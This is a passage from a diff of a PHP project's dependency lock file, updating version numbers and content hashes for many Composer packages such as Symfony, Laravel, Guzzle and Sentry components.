"tree-v2:919b5f4e495641eb54043ec944915a2a83b269412e2acc85a18eadacc96ee1b8" }, "danharrin/livewire-rate-limiting": { - "version": "v2.2.1", - "hash": "tree-v2:3bc003901f11d83845615a2b83b6f0e52f14d132cfe21fd39c78f5f81ec85bb4" + "version": "v2.3.0", + "hash": "tree-v2:493b9709f201171bdf9fdee2e33e3526e11a0600bd81c0ad08afa19c23703f21" }, "dasprid/enum": { "version": "1.0.7", @@ -41,8 +41,8 @@ "hash": "tree-v2:05d15a85340adeabba2a95b5280336f0df3a544fcd89be9b2053e410212960b5" }, "doctrine/dbal": { - "version": "4.4.4", - "hash": "tree-v2:c4d9ed2d117d1fb270dd92ad1f626477c87c427969b59527d023c71ab37cae14" + "version": "4.5.0", + "hash": "tree-v2:20df4d8e38810d489e6b77be95cdba556096476d0cf9afc00c74641b2ebca8ab" }, "doctrine/deprecations": { "version": "1.1.6", @@ -69,52 +69,52 @@ "hash": "tree-v2:5bf08ea1a28ca2559ae1b79a9e99cb3bfd5c33cf13a4b8ce7cc943461473e4e3" }, "ezyang/htmlpurifier": { - "version": "v4.19.0", - "hash": "tree-v2:d3c22c4953b78400b870df5de8b38b239728c661f4ad0bd011a1343525e5eed4" + "version": "v4.19.1", + "hash": "tree-v2:fa90f54e49e566edcd7862886eb05a7712fda460a08937961defd674a4349a79" }, "firebase/php-jwt": { - "version": "v7.1.0", - "hash": "tree-v2:fb9b281e0f88b9a10a2daf91a1323182371b3b5a2c5eb8919027e8c86f3d27af" + "version": "v7.2.1", + "hash": "tree-v2:270603953b72218f417df9fa995b4d833b712b3a2a0d19d1d83f6e5c5ffa7875" }, "fruitcake/php-cors": { "version": "v1.4.0", "hash": "tree-v2:843a0fd0c0519e1e8e46ce45b613feb881065e0a5687b359660900b7be3d0094" }, "graham-campbell/result-type": { - "version": "v1.1.4", - "hash": "tree-v2:20ce4b1cffb859a4b85bec52529ec4a633574f184a5f335b82d904c27cd98c33" + "version": "v1.2.0", + "hash": "tree-v2:19182f95f7c4750192e6cfe25b1f769686638fc59e5517710472b9f2b68315e7" }, "guzzlehttp/guzzle": { - "version": "7.15.3", - "hash": "tree-v2:e8515d60ce62d49290f05b65cc3250b8526836b3ee61bca6b12e4f45388d9bb0" + "version": "7.15.5", + "hash": "tree-v2:52f341c0bf614afe1fbd26362999adb2a746dd90cc5fc1f7a610f923b1b670a0" }, "guzzlehttp/promises": { - "version": "2.5.2", - "hash": "tree-v2:dc061818ecce047b05af603eca27ff84d7c93e0b05b87efd83ba67e0c241e695" + "version": "2.5.3", + "hash": "tree-v2:fd057dc4b4c991c686151e9e6cb938c9c429c389becaa8d0607a4ce15a804f10" }, "guzzlehttp/psr7": { "version": "2.13.1", "hash": "tree-v2:7607132af9efdbe31c5a6d8b92d4cac549bb4e4141caec6b0d917e813c201a19" }, "guzzlehttp/uri-template": { - "version": "v1.0.10", - "hash": "tree-v2:3228d9ad243f43c65a8e250acf8b82cd2454442483d388821ee4227933cb333a" + "version": "v1.0.11", + "hash": "tree-v2:8621308a489e67328265553e68e5bb49c7e887ecb33627e108bf21f59d56d445" }, "jean85/pretty-package-versions": { "version": "2.1.1", "hash": "tree-v2:5cc304e8a530449d8c745eaec902384554d1740d4e083032d5f9ce3ac1cf25e3" }, "laravel/fortify": { - "version": "v1.37.3", - "hash": "tree-v2:41b517f26837c05ae8cc9b4edd0530ca83ffe79c008ddbdd5752c4232987c7fe" + "version": "v1.40.0", + "hash": "tree-v2:be1c2def5d70383bc18e9893861ecb3f4c0418961dc381549b583a187e6b8d33" }, "laravel/framework": { "version": "v12.69.3", "hash": "tree-v2:406d3fd2a8e434af41c60567dc3e57830cac780dab9753e854c4ccdaab71f3a7" }, "laravel/horizon": { - "version": "v5.48.2", - "hash": "tree-v2:5173777c8b58d8f7dc185a8252ed5c8d4f922aa818d89c571448d053bdbb3fd8" + "version": "v5.50.0", + "hash": "tree-v2:524ba1806df3f59f4daafd5db7e6c7a3767a1297396303b14dc11f129f73c4eb" }, "laravel/mcp": { "version": "v1.0.1", @@ -129,12 +129,12 @@ "hash": "tree-v2:788db1215e7e8c6cb282ee115d4b7570a7f30eb763a53b40417df4b7c5a4981c" }, "laravel/prompts": { - "version": "v0.3.22", - "hash": "tree-v2:6e9c301dd528b44952cf87472ee49cd9f9a2c1aac7bb26d7d105ca779fdbdad8" + "version": "v0.3.24", + "hash": "tree-v2:af7fccf97985aef4aad89febec94cee2dce8d76a74b961c1d03a680df881ef6e" }, "laravel/reverb": { - "version": "v1.11.1", - "hash": "tree-v2:cc912bc1cad0332eb928da40f3bce89d47ead68e4455ad6f450e0fddf7dd6aa9" + "version": "v1.12.0", + "hash": "tree-v2:ccc8b90a2d1039edd725f432f001e6001a87796858f127609d1686d06921816f" }, "laravel/sanctum": { "version": "v4.3.3", @@ -145,12 +145,12 @@ "hash": "tree-v2:2893786cf018af94219a831c0e4056110487dd448a8dd32f80c936760a180115" }, "laravel/serializable-closure": { - "version": "v2.0.15", - "hash": "tree-v2:cf3dc1978786badf5de9edfb49e9e4faf44353726823fe35657ee6176539da76" + "version": "v2.1.0", + "hash": "tree-v2:46e235154eb6a796d4dc4365dc4c2fd1bc4abb91f2235b7741061116a06e0637" }, "laravel/socialite": { - "version": "v5.29.0", - "hash": "tree-v2:28926a0133c2b3594903c7a65b5401b5a5660ad59d5db3ff0e2a74807e7a5594" + "version": "v5.30.0", + "hash": "tree-v2:935f438d7fd622b867b4752ae68b906f120cd770c126d4c2f6dbfc49eaec4dbb" }, "laravel/tinker": { "version": "v2.11.1", @@ -177,24 +177,24 @@ "hash": "tree-v2:420e48fea76c143b41f4a8c1516031dc09ebb7e6367321af317e0a48fa998320" }, "league/flysystem-aws-s3-v3": { - "version": "3.35.2", - "hash": "tree-v2:c8e152eed6be05d58efb91340a8625509bf8e37e96dd5494a2fa0e5efcdfd473" + "version": "3.35.3", + "hash": "tree-v2:b444006b5245a442e5623e546c1d49d3150330574d27da41ea2da01230df0938" }, "league/flysystem-local": { "version": "3.35.3", "hash": "tree-v2:7dba7c9670489313d3604b6a2801a152cf455b5e0d428bf721efda7ea37a5000" }, "league/flysystem-sftp-v3": { - "version": "3.33.0", - "hash": "tree-v2:08f6d0810972764546da057809b3f896fccb0aaf78cf373ae4ca7c2a3b2e7c5d" + "version": "3.36.0", + "hash": "tree-v2:a5da24792e8191c3e234b897466197a20b8f6d657ae1651b68592aaa743efdc4" }, "league/mime-type-detection": { "version": "1.17.0", "hash": "tree-v2:1726a64b700472e12c6e5917132914a632350a91b90816cc3c5940ddea1f92d7" }, "league/oauth1-client": { - "version": "v1.11.0", - "hash": "tree-v2:677e7814fa6d106ecb790969760478ea4be3196f57c2d1221d52bd65b0d0314c" + "version": "v1.12.0", + "hash": "tree-v2:96e3c6b7cca4d1cc2b14391f0d38bd631afbd44aecd549be6426fe78214c01a2" }, "league/uri": { "version": "7.8.1", @@ -205,32 +205,32 @@ "hash": "tree-v2:227c217ed67b9cd48cc589867bf18379e95858e068724b8fbef94713311b024e" }, "livewire/livewire": { - "version": "v3.8.7", - "hash": "tree-v2:03751c8d0ff86c69cd31d12d03108a2b51de4e0814112f52fa0430b373048287" + "version": "v3.8.10", + "hash": "tree-v2:53b5f60c4ed2d495c3a2fcb2b2390f87c7d26d5e54648b3f10efe4010d720924" }, "log1x/laravel-webfonts": { "version": "v2.0.1", "hash": "tree-v2:c192111c594d02411d0fbf9dab0837775b56a044c85dd30351d20a9779929872" }, "lorisleiva/laravel-actions": { - "version": "v2.10.2", - "hash": "tree-v2:29d4ccab64e49c12ef9a474d85db12c65efaebb1af8a3d2ecf6ec947cff6eda4" + "version": "v2.12.0", + "hash": "tree-v2:88028833bc2531aa43a58f4af7f79fd6cc6c25d9f813732ff9b73e4df31d0a13" }, "lorisleiva/lody": { - "version": "v0.7.0", - "hash": "tree-v2:2c14f50081e55efb773357853964f9afbecb8ffc9743f9388f0d8d56ec20a06a" + "version": "v0.7.1", + "hash": "tree-v2:e02bb6ff9f6b29fb36c4e9a8daf8b3fe788ed55cdd2b616d88214976b18521c7" }, "monolog/monolog": { - "version": "3.10.0", - "hash": "tree-v2:e248df59c4227ff9e0639a9a9c181c11d5a2f1b006cff723c410ac8384f5221e" + "version": "3.12.1", + "hash": "tree-v2:bb7a293a3ba00d6ca00220a74a07a194fa22bdde721ae8533e8773c7c3589cc4" }, "mtdowling/jmespath.php": { "version": "2.9.2", "hash": "tree-v2:c87e5d6482253928932f38ada2184333cccc8be28081642f4f1b41dc66734822" }, "nesbot/carbon": { - "version": "3.13.2", - "hash": "tree-v2:234c5d4f300a255952cd9c20d906a8d8103826a9dadcc63b17073d922dfdab1a" + "version": "3.14.1", + "hash": "tree-v2:a5a16a60481dc65e8852ac76a275ab81dcb42947cf82c48aac3b36f85a584a86" }, "nette/schema": { "version": "v1.3.6", @@ -241,8 +241,8 @@ "hash": "tree-v2:98a3f1d758153bf83c6da5b98625cb4b1ad1105369e07cb24ea29f60eff0ab63" }, "nikic/php-parser": { - "version": "v5.8.0", - "hash": "tree-v2:90ddc66bf11d350b722c1773acd27c8dd2fa1e49aef3a97fded688f19fdde528" + "version": "v5.9.0", + "hash": "tree-v2:bcacf1331427ef1203828abd4716eae2d19aa68027126caa55860acf46057cf7" }, "nubs/random-name-generator": { "version": "v2.2.0", @@ -265,28 +265,28 @@ "hash": "tree-v2:3f247d4e9da196031d5ee2754558e7dc17e8d63d7506320fa384d0432c5450d1" }, "phpdocumentor/reflection-common": { - "version": "2.2.0", - "hash": "tree-v2:4d02e6474b2c5b0a756adbb6d10bc568fff06a6d51ad8bb23162d2719dd08119" + "version": "2.2.1", + "hash": "tree-v2:b5e96fe132bff07f74d641a9d92eed23f59de9bf11828c15afe4b0a79efede7f" }, "phpdocumentor/reflection-docblock": { "version": "6.0.3", "hash": "tree-v2:d4455a70c012b399cab192e5b46fc8609741b8c54d1d8d2ca241b51011f602e1" }, "phpdocumentor/type-resolver": { - "version": "2.0.0", - "hash": "tree-v2:dbbcdc69a18db06efa73b7c12d48bf3918cb1a8fb2e062d4eb726cff61ce2264" + "version": "2.1.0", + "hash": "tree-v2:b38f8e64f9e625074fc0b7f271a4f4d8100e7e0771c54ae2fae397fe68a45ea0" }, "phpoption/phpoption": { - "version": "1.9.5", - "hash": "tree-v2:b62416f10065930c8d9360481686b69cc63f37eb585dba067bc05da794b0047f" + "version": "1.10.0", + "hash": "tree-v2:88bf58174c3d5e79cc8ba99f6a072fc4c26e4aea72ad093b5d5a43d3d46ccea4" }, "phpseclib/phpseclib": { "version": "3.0.57", "hash": "tree-v2:55fd680d70046da18276ca8b09dd3f45507a955c8963f01b2b65e1d576241790" }, "phpstan/phpdoc-parser": { - "version": "2.3.3", - "hash": "tree-v2:03f1a0e3c46d438463837789e469ee322c8bc9418615ea8145692cc9159df65b" + "version": "2.3.6", + "hash": "tree-v2:871a2c3e3fce5505337233418c37cdac1515c9824110bf602cbb8216b4fab7cb" }, "pion/laravel-chunk-upload": { "version": "v1.6.3", @@ -297,8 +297,8 @@ "hash": "tree-v2:828c1437d249186e1dc7c8070b14b520c78460ede432120f647ce63187f89c02" }, "pragmarx/google2fa": { - "version": "v9.0.0", - "hash": "tree-v2:6661a83fede3ef801435599f5358318363e7a13a6a4447d9abd38b10ce49605f" + "version": "v9.1.0", + "hash": "tree-v2:c4e6d87c5e09946a20bedb4a4c1b68f39385d1cef45b17bd9bec517e39479d2b" }, "psr/cache": { "version": "3.0.0", @@ -341,8 +341,8 @@ "hash": "tree-v2:c518e85e74d1aef81854220186172a87c7e1553652d35eff97655015389e5404" }, "purplepixie/phpdns": { - "version": "2.3.6", - "hash": "tree-v2:3e2c11aebd52bf1faa28737c6871f0bb311ee09d5936e572f1b8dd9b43c77817" + "version": "2.4.0", + "hash": "tree-v2:1c1ebac6d50b61cd01452f9c6cad774c2b641601925c67f33f6329b5d9cfa5c2" }, "pusher/pusher-php-server": { "version": "7.3.0", @@ -357,8 +357,8 @@ "hash": "tree-v2:ad16df2a5b3611348dc88ba0a921d27b7e074406ff667ca547c6a3579734972c" }, "ramsey/uuid": { - "version": "4.9.3", - "hash": "tree-v2:5683dc29fce0bf6588b8074e4f5d5c1987401c061bb8e412ae7efff27c24c5ad" + "version": "4.9.4", + "hash": "tree-v2:68d8f0c8847e8275812a7af6335ada47d71f8534bb96c5b54ea18141e4739d77" }, "ratchet/rfc6455": { "version": "v0.4.1", @@ -393,20 +393,20 @@ "hash": "tree-v2:24cd9a269d6eef586865cd4525abfa3068f55e7c634a0d938071300df371fbb1" }, "resend/resend-laravel": { - "version": "v1.5.0", - "hash": "tree-v2:0d8595f92df4e111c5093d4d8ce45b51a21e19a63ad3cd5f11898d613a3778b6" + "version": "v1.6.0", + "hash": "tree-v2:f5537049aaf9df6fac8e71c360f36367e7adabd64440681cc1005fcb5bc06c8a" }, "resend/resend-php": { "version": "v1.16.0", "hash": "tree-v2:41aee3a1e56f0c323e4c11b2204958d7e24716a4f6ba33a82a279fabdadbc698" }, "sentry/sentry": { - "version": "4.30.0", - "hash": "tree-v2:559b1c23b5422ac70204d32280cb016bf79476201b395c10454dc13c4755ba95" + "version": "4.32.0", + "hash": "tree-v2:5a245d8c147faace301993c10f5f8df7e4b48d5c140fff3a1ca6dc91c763dffa" }, "sentry/sentry-laravel": { - "version": "4.27.0", - "hash": "tree-v2:5303ae7449f08c6ad252d2fbbea504d8123279b3a72a32c478fbab234289be25" + "version": "4.28.0", + "hash": "tree-v2:01d427cba075614542d54618e2e2d226ca72033e124c2168f80264cbb03b7461" }, "socialiteproviders/authentik": { "version": "5.3.0", @@ -429,12 +429,12 @@ "hash": "tree-v2:646fdffaaa711fb0698a2ec1647056f8c9cc23a9d4e170ea6ab62d44044993ca" }, "socialiteproviders/manager": { - "version": "4.9.2", - "hash": "tree-v2:d800f550bccc1d0ff067c7a97615aa5ed91fc854d0535b7e8667ee4d0954b59c" + "version": "4.10.0", + "hash": "tree-v2:af08ad057ab7afee0aa8cd58b5433227e49f5eb9dce326f663eb5915ece3e8e7" }, "socialiteproviders/microsoft-azure": { - "version": "5.2.0", - "hash": "tree-v2:3a0a2a1617d91d6aa2cff6e476c0c471738ed8a3aff12259ad7a9908aafdc248" + "version": "5.2.1", + "hash": "tree-v2:cf389d095c3ed53db7e1b49192dff77af0fb63777d82bc87417f61cc27de3ed7" }, "socialiteproviders/zitadel": { "version": "4.2.0", @@ -457,8 +457,8 @@ "hash": "tree-v2:35ba0757f6a53e91cdbb12000f797cca394fb4d0694d84e274c65cc94ecc6170" }, "spatie/laravel-package-tools": { - "version": "1.93.1", - "hash": "tree-v2:872b831650427458a405c2c8335c05a6ce31ab58206a1c90c08e22df643fc282" + "version": "1.93.3", + "hash": "tree-v2:4ae3f9910639e24ebdb2ee3220edcf93e27a380890e8c8442e361d113951e575" }, "spatie/laravel-schemaless-attributes": { "version": "2.6.0", @@ -481,12 +481,12 @@ "hash": "tree-v2:ccfbd1e8a695b968ba0e8b70663c8313ee60235ec562c27e51d1e7ec20ca5881" }, "spomky-labs/cbor-php": { - "version": "3.3.0", - "hash": "tree-v2:8185dd56a52fda8afe3ea92b333809a94a1635cc94b9a80afd03d0f5e895bacf" + "version": "3.4.2", + "hash": "tree-v2:5017024176dcdeeec0e9224abdc211bdad50da7d66d71fd4a7b5f4412b523290" }, "spomky-labs/pki-framework": { - "version": "1.6.0", - "hash": "tree-v2:be0c59ec13eae7e346bbcec4a0821a75016fb809f18df0357b19d9555edb7f80" + "version": "1.6.3", + "hash": "tree-v2:8878022c5dc6d32ad0c56bb2806806d5ff1602ae9a10f5bbccd8027283ae8943" }, "stevebauman/purify": { "version": "v6.3.2", @@ -501,20 +501,20 @@ "hash": "tree-v2:7888f31d60c29c4f777204510e9a60a557c98a4e480efe5d9eb13dd617bf21f1" }, "symfony/console": { - "version": "v7.4.16", - "hash": "tree-v2:6bcaeda34b1df22209a4ea023cf74641d865fdb255fa909e94e956dc7a261303" + "version": "v7.4.20", + "hash": "tree-v2:1473afc4cb70ccac83b3bb8b6683438c5901a5d3fcd8c3b2c2c84da3a2f5b499" }, "symfony/css-selector": { - "version": "v8.1.0", - "hash": "tree-v2:e9e6a6af09fd94bc3bb7e23963502feb3981befc9898be01576ffc704a4e9698" + "version": "v8.1.6", + "hash": "tree-v2:d8c1eda011461f48443b0fcb1d607979dea4d8f0c1e9e85cee5e9d2f27613cc8" }, "symfony/deprecation-contracts": { "version": "v3.7.1", "hash": "tree-v2:5833e98c5092cd02ed429ffd459b82b158f20393ef0b0ec2e06b2833d7efe838" }, "symfony/error-handler": { - "version": "v7.4.15", - "hash": "tree-v2:8496cdd8c3c237648e8c48f092f7f0a90d33a996852c44021a0b724344c9d92b" + "version": "v7.4.20", + "hash": "tree-v2:cee97a6ff75008c349ab2b93bf74a109bde62c4d769e6b616bf2c2235956807d" }, "symfony/event-dispatcher": { "version": "v8.1.5", @@ -525,20 +525,20 @@ "hash": "tree-v2:0ac7e6b0bd6da93975ac9b3ec9f41aa596e9c1c6217813797d1e8bb64be89139" }, "symfony/filesystem": { - "version": "v8.1.2", - "hash": "tree-v2:4b713fff4a6a0f61e0b226bab639f355c11dd4a548fa108df08660c0e5055cdb" + "version": "v8.1.6", + "hash": "tree-v2:0988ddfa5dbfd1d49f57b456feac3132e9ad72c09a8e994b3edcdbb3d8a48a4f" }, "symfony/finder": { - "version": "v7.4.14", - "hash": "tree-v2:eacf156b53cc64a5af416a2d40ed666c4a33727b5fed3d230578e5f0240ed4e1" + "version": "v7.4.20", + "hash": "tree-v2:c0cb8d8344fdae5029d26bdf249f140beb07180652173fd91b992585c8380753" }, "symfony/http-foundation": { - "version": "v7.4.16", - "hash": "tree-v2:a913c017875712cfbe74b767d16f32aa838606f6c5a714265922c12f82f2778d" + "version": "v7.4.20", + "hash": "tree-v2:6f0ed46431710070db850c88d9218344a14db9b33262bab8cd7a89c1b68696d6" }, "symfony/http-kernel": { - "version": "v7.4.16", - "hash": "tree-v2:9471b2f370a93fff534e818b17fb270471fec8648636860fe3dcd343f27f0ba6" + "version": "v7.4.20", + "hash": "tree-v2:c304a88316c6d8ec8255aa9471c47973bcac5b28b042521e1bf2aec5ae0bb670" }, "symfony/mailer": { "version": "v7.4.19", @@ -557,96 +557,100 @@ "hash": "tree-v2:8a05c9979125b75411bed1356ebf16439972fafc4cca1ff6baa717db25e3dfca" }, "symfony/polyfill-intl-grapheme": { - "version": "v1.41.0", - "hash": "tree-v2:eb79b6c358896580faee98f60707746489d3575e1641e46c3e6f76ffebf959b1" + "version": "v1.43.0", + "hash": "tree-v2:5e6dbd2dc74543299269b89eb6e2ba8c170b51b1697674fbfe681c256e55dd47" }, "symfony/polyfill-intl-idn": { - "version": "v1.42.0", - "hash": "tree-v2:5908ed2ff682cbff50af4623e96bdf4368a0f9dd8e1ac67f00fad0a6b4a0524c" + "version": "v1.43.0", + "hash": "tree-v2:c923d31d3d92c64e387245034bf7ca44284e3ec6674004efd41e7d13da99a492" }, "symfony/polyfill-intl-normalizer": { - "version": "v1.42.0", - "hash": "tree-v2:a6da84cf96f8c7adc795ab75d322190007835218c206238bd74d4f05036e568d" + "version": "v1.43.0", + "hash": "tree-v2:cd506f4802cec64c0a39b6fa45cf9e22bffc84e674442ae93b6eaf936304ec5d" }, "symfony/polyfill-mbstring": { - "version": "v1.38.2", - "hash": "tree-v2:a9c8cb96ff984032b9ba2c4ad692eba9376cfe8ad9aa95b238bd3edfde57d9b9" + "version": "v1.43.0", + "hash": "tree-v2:1178bc6cf2eca3121b218c648dc6b60c5596ba469520be8aa5744cf105dd9e5b" }, "symfony/polyfill-php80": { - "version": "v1.37.0", - "hash": "tree-v2:db9811052bb9f7cd15e09bd54128f33f64516627d90efa9747b8cb0862188aa8" + "version": "v1.43.0", + "hash": "tree-v2:dac9a7018f6de962c077a8a96a80deaf4da282d85250f36c90e293fde4804664" + }, + "symfony/polyfill-php81": { + "version": "v1.38.1", + "hash": "tree-v2:fa626280ca82a3b621da208fe448441ec61a315e5f968fabe708d8ab0ebf83f3" }, "symfony/polyfill-php83": { - "version": "v1.41.0", - "hash": "tree-v2:fada0d369c196d6f1f04166f5d4efc01f4c8c2fccbe96f2bb8a4c2d0ec90d44d" + "version": "v1.43.0", + "hash": "tree-v2:d6cc98eac4a84a4ad1bffbf3b5ae52ce3716d8e8f8ef74b2a76172ce07545d9e" }, "symfony/polyfill-php84": { - "version": "v1.38.1", - "hash": "tree-v2:6503d40681cfabb0497999505304d6e13215f353cdb3f4f351c1a7ec80ed0799" + "version": "v1.43.0", + "hash": "tree-v2:0e8b2fc36bad3b28730f58da447ce185e1bc0b65e905d8a08f409b8444f853d4" }, "symfony/polyfill-php85": { - "version": "v1.41.0", - "hash": "tree-v2:6d47992b5698e9021fef2975870ed346c85aeb53d33bbd83f703179b0ff665b3" + "version": "v1.43.0", + "hash": "tree-v2:7399609adce52ef72aab96a3db35805814b486e6a46d30b2ed8e69f587eb3c8f" }, "symfony/polyfill-uuid": { - "version": "v1.37.0", - "hash": "tree-v2:3672d6e03712b8d283e49b2c863affd8db644d152d41b733ec4f0ac2c8f02ff2" + "version": "v1.43.0", + "hash": "tree-v2:d5a39f5ddaf6c4b4b53829f8cca739b82ac309b5066ac170665b010e03fe6fc1" }, "symfony/process": { - "version": "v7.4.13", - "hash": "tree-v2:7fa664d757a0fdf27dc8dfd65c746dab18d968e1c682f8839caa95e3952840ad" + "version": "v7.4.19", + "hash": "tree-v2:2fa5a43314ce3843a467b733c1db2c64b861424a177e07c7ded950ac8712edb7" }, "symfony/property-access": { "version": "v8.1.4", "hash": "tree-v2:5f465a4a0eb7e2e8fbe080af2bf95e4c4d3fd4fe272bdf98efc63ed5c0794073" }, "symfony/property-info": { - "version": "v8.1.4", - "hash": "tree-v2:17a0d521ae39e683928b84eef8a9d05e753e798c46e62e412b0bad0f8c165cd3" + "version": "v8.1.8", + "hash": "tree-v2:08cd925cac3b082917a9c19315571388a1c66fba31fe438dae4af59238f45f55" }, "symfony/psr-http-message-bridge": { "version": "v8.1.0", "hash": "tree-v2:5436ca31402054df5b2f0112afa655297032380d0db45baa946bad4253a8a324" }, "symfony/routing": { - "version": "v7.4.15", - "hash": "tree-v2:1eec74fab090e7db3ebebb7889e672f4c58bbd369e04019318f612e5c40924fe" + "version": "v7.4.20", + "hash": "tree-v2:19428320d0ea2565dc895a1d706d8c94497ccca8ffbff34422369fd3d9a828c2" }, "symfony/serializer": { - "version": "v8.1.4", - "hash": "tree-v2:149659705c501cec2697f2c75bd4bd962a3dca4aef20cb62a210ce127f68755f" + "version": "v8.1.8", + "hash": "tree-v2:af5d415bda361730ecfbb542dc810a7d98ac00922c9fc625e740d3e221d645ef" }, "symfony/service-contracts": { "version": "v3.7.3", "hash": "tree-v2:87421779a4d0f4aae910ba4a77c7a04bfd6d385d86190a96ec8276ec1ba48987" }, "symfony/string": { - "version": "v8.1.2", - "hash": "tree-v2:6c3dbd245e870cd78bdd16b764534dff6ddf4c1e0391fd491116cf3a2c1d5ea7" + "version": "v8.1.7", + "hash": "tree-v2:e51a49ae27601177aa109b457a6fa3c578e8df63f80845a3101095010791f66f" }, "symfony/translation": { - "version": "v8.1.4", - "hash": "tree-v2:0cd6421dce1427357556e4e4bd0f77d71d59e15e878a5bbfd687e0a6e4911d87" + "version": "v8.1.5", + "hash": "tree-v2:5ed59b86402810a7cc27e7abb649b87fe5e32e20f982a025dee49333b77c0182" }, "symfony/translation-contracts": { "version": "v3.7.1", "hash": "tree-v2:74a8e3a8f0580af687b411de0e087911c348807f6e59858632fbffabeb7bf9a9" }, "symfony/type-info": { - "version": "v8.1.0", - "hash": "tree-v2:f71c1d1d8a9605c340252d2c7fc5e4a5feee46edd89e40b9988a037fa544fc65" + "version": "v8.1.8", + "hash": "tree-v2:f5b0432361367fb8453952c9821a05fb2aadf6918fed80cb82a8b9bea4cc039c" }, "symfony/uid": { - "version": "v7.4.9", - "hash": "tree-v2:0ab2c9a4659cc4f1715a62c49074f741474d06544445e56baa87d922b71aacc9" + "version": "v7.4.20", + "hash": "tree-v2:9c354ab4077f1df6443bda228b659e01c97a28bbc64ad36b15f9976cb66bdbce" }, "symfony/var-dumper": { - "version": "v7.4.15", - "hash": "tree-v2:c8b18ce6dcad1d629dccc76b6c4820edb4fe7c61eeeb744ca3d31de45a85087e" + "version": "v7.4.18", + "hash": "tree-v2:6cf1763f4c700d9ead924182f1176ee815be6414cb1ea67bc6e92d13fc3461b2" }, "symfony/yaml": { - "version": "v7.4.15", - "hash": "tree-v2:9b3804edae9da1565a6e299ede6fd0b079d650fb0d782859242f4d66d341e07d" + "version": "v7.4.20", + "hash": "tree-v2:6df48f1dc34ac760427993457ed35021434f1ae3d5ebfd610dfffee57bc7cfe9" }, "tijsverkoyen/css-to-inline-styles": { "version": "v2.4.0", @@ -657,20 +661,20 @@ "hash": "tree-v2:e96d37d3b83f67809d1ea0fb7f4e33f9879d7aeb2dc5b4fa2135b84177e651c9" }, "vlucas/phpdotenv": { - "version": "v5.6.4", - "hash": "tree-v2:2ca7accffdf5b12d4958d2ae3f336361834c50c21c70a2be3532cc286b5f019f" + "version": "v5.7.0", + "hash": "tree-v2:6c06f3ef79457956cc5468b35ba53b18504b47a0925d29278c2b195caa85bae0" }, "voku/portable-ascii": { "version": "2.1.1", "hash": "tree-v2:6c1b22272d89eb3d85366cc99a0375535b76a897616d9d79bbfddc8bcded66c6" }, "web-auth/cose-lib": { - "version": "4.6.0", - "hash": "tree-v2:58dff943fe79fabffa06d2ad63f9eae90ec2ca5b39078d757260875d7ef99d66" + "version": "4.8.2", + "hash": "tree-v2:de961d934f2e526f30b69334bb474ac1aa3ff77389998ea9d0f6c02ffe493936" }, "web-auth/webauthn-lib": { - "version": "5.3.5", - "hash": "tree-v2:4843b192ff2f3ad73d9464fc8b55127d23a4b7862b04a0b575391115d89580f9" + "version": "5.3.9", + "hash": "tree-v2:e0949da9b86423ae77ef6a89f893c59bf769748d6a73ef90b6b0c35ea62e8209" }, "webmozart/assert": { "version": "2.4.1", @@ -703,8 +707,8 @@ "hash": "tree-v2:d7d30faedc5d9aaadb6cd48d296f2bcc202f5b9e9251cb749c07196398da42de" }, "amphp/dns": { - "version": "v2.4.0", - "hash": "tree-v2:d28e15bcd691a79054c254023a536ac3c7de9524afd32e8ca1e967ed01cf4dc5" + "version": "v2.4.1", + "hash": "tree-v2:5244fcc714f0651538775d9749fb14f2d7980ec3b3f472c85724f6dd7a37efc1" }, "amphp/hpack": { "version": "v3.2.2", @@ -739,8 +743,8 @@ "hash": "tree-v2:a4cd50472d471a9d10fcafdb712cb3efc112bb2e643814529bb6195d43acdce4" }, "amphp/socket": { - "version": "v2.4.0", - "hash": "tree-v2:57eb1b91472ba757cd5ab821c4468b1472b1c4a9e5d5bb57d931efbe5a5a3899" + "version": "v2.4.1", + "hash": "tree-v2:cfe7178350f2a9cacd4b6ea1e5f68ba14889162e04838b04b279cb8389dd780b" }, "amphp/sync": { "version": "v2.3.0", @@ -775,24 +779,24 @@ "hash": "tree-v2:a4f2d4abdf003756bf9b88bb6c55c8a70d8d214c81529273974c9ddda020fe02" }, "driftingly/rector-laravel": { - "version": "2.5.0", - "hash": "tree-v2:8f0433e6ed4017e91c5c41632633330f34370e910335b004913709c5711fc8d4" + "version": "2.6.2", + "hash": "tree-v2:7ad85f8d2c4fc8ae611466f654d894413f9d066999bbede4abdccda6f230be4e" }, "fakerphp/faker": { "version": "v1.24.1", "hash": "tree-v2:b6f3d0f8ca79f98400b0df7c2a29004dbd9e3f39f39125ecfd5613e38b9ff6a3" }, "fidry/cpu-core-counter": { - "version": "1.3.0", - "hash": "tree-v2:c33bdd2e0430e4110e6ee218701bdee1b422acb2510dd198836519b9a8fcc58d" + "version": "1.4.1", + "hash": "tree-v2:187d5e8e97709597df098f058a60567f02d205ecf769583864ae461552cdae95" }, "filp/whoops": { - "version": "2.18.4", - "hash": "tree-v2:db8671d760c94524baa207edf2fc1731a493b7074eb94f8767d821712b68188c" + "version": "2.18.5", + "hash": "tree-v2:8c32519eacbd19b8d00468e9a8aaf35efca825f90c912fd802d74494d97e1ca5" }, "hamcrest/hamcrest-php": { - "version": "v2.1.1", - "hash": "tree-v2:8b11d442e6982460070110b31fc532c8fe524fc757990e5a4e75f32ebc1e8852" + "version": "v3.0.0", + "hash": "tree-v2:49f1c99167659adb6f9f9bf1aa7abca02fcd773f3c19041f7983dd50b83d85e7" }, "kelunik/certificate": { "version": "v1.1.3", @@ -803,8 +807,8 @@ "hash": "tree-v2:c88d4a35bf2e78d321dca9e8c342c6de41d85d06e840d0f1149d5990ac7c3a3a" }, "laravel/pint": { - "version": "v1.30.4", - "hash": "tree-v2:012d3f194967babaf7ec78395508e0c287f5eeda5c549e8adc42740571c7c9bd" + "version": "v1.32.1", + "hash": "tree-v2:6011ed0cc05d840c85dac563c64a2461bc3c09f131e7c819f75abd73c9502f64" }, "laravel/roster": { "version": "v1.0.0", @@ -819,12 +823,12 @@ "hash": "tree-v2:a2b928f6fae0e15c66f08ae84e98f7dd8547749390ca842c83014bf1f2d68777" }, "mockery/mockery": { - "version": "1.6.12", - "hash": "tree-v2:c6cb44811fb2674feeac51789852447cc0148c22f87a4557f608cd0d3f238836" + "version": "1.6.15", + "hash": "tree-v2:4bc0e2fbaea02a9469caa0f1105242dca2907278bc1fd8a3f9c6c8a2ddf920d7" }, "myclabs/deep-copy": { - "version": "1.13.4", - "hash": "tree-v2:7927270fd36147270b920cea3dce8149bf609959dfe7c4174a30e0141143e232" + "version": "1.14.0", + "hash": "tree-v2:6f013d251808abbe250faa2a847f14d89804ba137fc7e085495311bc6ebc1822" }, 